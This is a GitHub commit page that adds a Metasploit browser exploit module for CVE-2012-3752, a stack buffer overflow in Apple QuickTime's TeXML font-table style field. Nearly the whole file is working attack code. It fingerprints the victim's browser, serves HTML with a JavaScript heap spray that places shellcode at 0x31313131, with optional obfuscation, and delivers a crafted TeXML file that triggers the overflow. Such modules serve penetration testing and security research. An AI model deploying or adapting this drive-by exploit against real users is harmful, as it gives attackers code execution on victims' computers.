Skip to content

Commit e9256de

Browse files
committed
Merge branch 'jvazquez-r7-apple_quicktime_texml_font_table'
2 parents 965efc9 + 89ddedf commit e9256de

File tree

1 file changed

+301
-0
lines changed

1 file changed

+301
-0
lines changed
Lines changed: 301 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,301 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
15+
include Msf::Exploit::Remote::BrowserAutopwn
16+
autopwn_info({
17+
:os_name => OperatingSystems::WINDOWS,
18+
:javascript => true,
19+
:rank => NormalRanking
20+
})
21+
22+
def initialize(info = {})
23+
super(update_info(info,
24+
'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
25+
'Description' => %q{
26+
This module exploits a vulnerability found in Apple QuickTime. When handling
27+
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
28+
gain arbitrary code execution under the context of the user. This is due to the
29+
QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
30+
font-table field, which is used to trigger the overflow in this module. Because of
31+
QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
32+
used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
33+
has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
34+
},
35+
'Author' =>
36+
[
37+
'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
38+
'juan vazquez' # Metasploit Module
39+
],
40+
'License' => MSF_LICENSE,
41+
'References' =>
42+
[
43+
[ 'OSVDB', '87087' ],
44+
[ 'CVE', '2012-3752' ],
45+
[ 'BID', '56557' ],
46+
[ 'URL', 'http://support.apple.com/kb/HT5581' ]
47+
],
48+
'DefaultOptions' =>
49+
{
50+
'EXITFUNC' => 'process',
51+
'InitialAutoRunScript' => 'migrate -f'
52+
},
53+
'Payload' =>
54+
{
55+
'Space' => 1000,
56+
},
57+
'Platform' => 'win',
58+
59+
'Targets' =>
60+
[
61+
# Tested with QuickTime 7.7.2
62+
[ 'Automatic', {} ],
63+
[ 'IE 6 on Windows XP SP3', {} ],
64+
[ 'Firefox 3.5 on Windows XP SP3', {} ],
65+
[ 'Firefox 3.5.1 on Windows XP SP3', {} ]
66+
],
67+
'Privileged' => false,
68+
'DisclosureDate' => 'Nov 07 2012',
69+
'DefaultTarget' => 0))
70+
71+
register_options(
72+
[
73+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
74+
], self.class)
75+
end
76+
77+
def get_target(agent)
78+
#If the user is already specified by the user, we'll just use that
79+
return target if target.name != 'Automatic'
80+
81+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
82+
83+
browser_name = ""
84+
if agent =~ /MSIE/
85+
browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
86+
browser_name = "IE #{browser_version}"
87+
elsif agent =~ /Firefox\/3.5$/
88+
browser_name = "Firefox 3.5 "
89+
elsif agent =~ /Firefox\/3.5.1$/
90+
browser_name = "Firefox 3.5.1"
91+
elsif agent =~ /Opera\/9/
92+
browser_name = "Opera"
93+
end
94+
95+
case nt
96+
when '5.1'
97+
os_name = 'Windows XP SP3'
98+
when '6.0'
99+
os_name = 'Windows Vista'
100+
when '6.1'
101+
os_name = 'Windows 7'
102+
end
103+
104+
targets.each do |t|
105+
if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
106+
print_status("Target selected as: #{t.name}")
107+
return t
108+
end
109+
end
110+
111+
return nil
112+
end
113+
114+
115+
def on_request_uri(client, request)
116+
117+
return if ((p = regenerate_payload(client)) == nil)
118+
119+
agent = request.headers['User-Agent']
120+
my_target = get_target(agent)
121+
# Avoid the attack if no suitable target found
122+
if my_target.nil?
123+
print_error("Browser not supported, sending 404: #{agent}")
124+
send_not_found(cli)
125+
return
126+
end
127+
128+
if request.uri =~ /\.3gp/
129+
print_status("Sending exploit TEXML (target: #{my_target.name})")
130+
131+
my_payload = "1" * (1024*16)
132+
133+
texml = <<-eos
134+
<?xml version="1.0"?>
135+
<?quicktime type="application/x-quicktime-texml"?>
136+
137+
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
138+
language="eng" timeScale="600"
139+
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
140+
<sample duration="2400" keyframe="true">
141+
142+
<description format="tx3g" displayFlags="ScrollIn"
143+
horizontalJustification="Left"
144+
verticalJustification="Top"
145+
backgroundColor="0%, 0%, 0%, 100%">
146+
147+
<defaultTextBox x="0" y="0" width="176" height="60"/>
148+
<fontTable>
149+
<font id="1" name="Times"/>
150+
</fontTable>
151+
152+
<sharedStyles>
153+
<style id="1">
154+
{font-table: #{my_payload}}
155+
{font-style:normal}
156+
{font-weight: normal}
157+
{font-size: 10}
158+
{line-height: 100%}
159+
{text-align: right}
160+
{text-decoration: underline}
161+
{color: 100%, 100%, 100%, 100%}
162+
{backgroundcolor: 100%, 100%, 100%, 100%}
163+
</style>
164+
</sharedStyles>
165+
</description>
166+
167+
<sampleData scrollDelay="200"
168+
highlightColor="25%, 45%, 65%, 100%"
169+
targetEncoding="utf8">
170+
171+
<textBox x="10" y="10" width="156" height="40"/>
172+
<text styleID="1">What you need... Metasploit!</text>
173+
<highlight startMarker="1" endMarker="2"/>
174+
<blink startMarker="3" endMarker="4"/>
175+
</sampleData>
176+
</sample>
177+
</text3GTrack>
178+
eos
179+
180+
send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })
181+
182+
else
183+
print_status("Sending initial HTML")
184+
185+
url = ((datastore['SSL']) ? "https://" : "http://")
186+
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
187+
url << ":" + datastore['SRVPORT'].to_s
188+
url << get_resource
189+
190+
fname = rand_text_alphanumeric(4)
191+
192+
#ARCH used by the victim machine
193+
arch = Rex::Arch.endian(my_target.arch)
194+
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
195+
code = Rex::Text.to_unescape(payload.encoded, arch)
196+
197+
# Spray puts payload on 0x31313131
198+
if my_target.name =~ /IE/
199+
spray = <<-JS
200+
var heap_obj = new heapLib.ie(0x20000);
201+
var code = unescape("#{code}");
202+
var nops = unescape("#{nops}");
203+
204+
while (nops.length < 0x80000) nops += nops;
205+
var offset = nops.substring(0, 0x800 - code.length);
206+
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
207+
208+
while (shellcode.length < 0x40000) shellcode += shellcode;
209+
var block = shellcode.substring(0, (0x80000-6)/2);
210+
211+
heap_obj.gc();
212+
for (var i=0; i < 1600; i++) {
213+
heap_obj.alloc(block);
214+
}
215+
JS
216+
217+
#Use heaplib
218+
js_spray = heaplib(spray)
219+
220+
#obfuscate on demand
221+
if datastore['OBFUSCATE']
222+
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
223+
js_spray.obfuscate
224+
end
225+
else
226+
js_spray = <<-JS
227+
var shellcode = unescape("#{code}");
228+
var bigblock = unescape("#{nops}");
229+
var headersize = 20;
230+
var slackspace = headersize + shellcode.length;
231+
while (bigblock.length < slackspace) bigblock += bigblock;
232+
var fillblock = bigblock.substring(0,slackspace);
233+
var block = bigblock.substring(0,bigblock.length - slackspace);
234+
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
235+
var memory = new Array();
236+
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
237+
JS
238+
end
239+
240+
content = "<html>"
241+
content << <<-JSPRAY
242+
<head>
243+
<script>
244+
#{js_spray}
245+
</script>
246+
</head>
247+
JSPRAY
248+
content << "<body>"
249+
250+
content << <<-ENDEMBED
251+
<OBJECT
252+
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
253+
WIDTH="1"
254+
HEIGHT="1"
255+
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
256+
<PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp">
257+
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp">
258+
<PARAM name="AUTOPLAY" VALUE = "true" >
259+
<PARAM name="TYPE" VALUE = "video/quicktime" >
260+
<PARAM name="TARGET" VALUE = "myself" >
261+
<EMBED
262+
SRC = "#{url}/#{fname}.3gp"
263+
QTSRC = "#{url}/#{fname}.3gp"
264+
TARGET = "myself"
265+
WIDTH = "1"
266+
HEIGHT = "1"
267+
AUTOPLAY = "true"
268+
PLUGIN = "quicktimeplugin"
269+
TYPE = "video/quicktime"
270+
CACHE = "false"
271+
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
272+
</EMBED>
273+
</OBJECT>
274+
ENDEMBED
275+
276+
content << "</body></html>"
277+
278+
send_response(client, content, { 'Content-Type' => "text/html" })
279+
end
280+
end
281+
282+
end
283+
284+
285+
=begin
286+
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
287+
288+
int __fastcall sub_67EED2B0(int a1, int a2)
289+
{
290+
int result; // eax@1
291+
unsigned __int8 v3; // cl@2
292+
293+
for ( result = 0; ; ++result )
294+
{
295+
v3 = *(_BYTE *)a2++ - 0x30;
296+
if ( v3 > 9u )
297+
break;
298+
}
299+
return result;
300+
}
301+
=end

0 commit comments

Comments
 (0)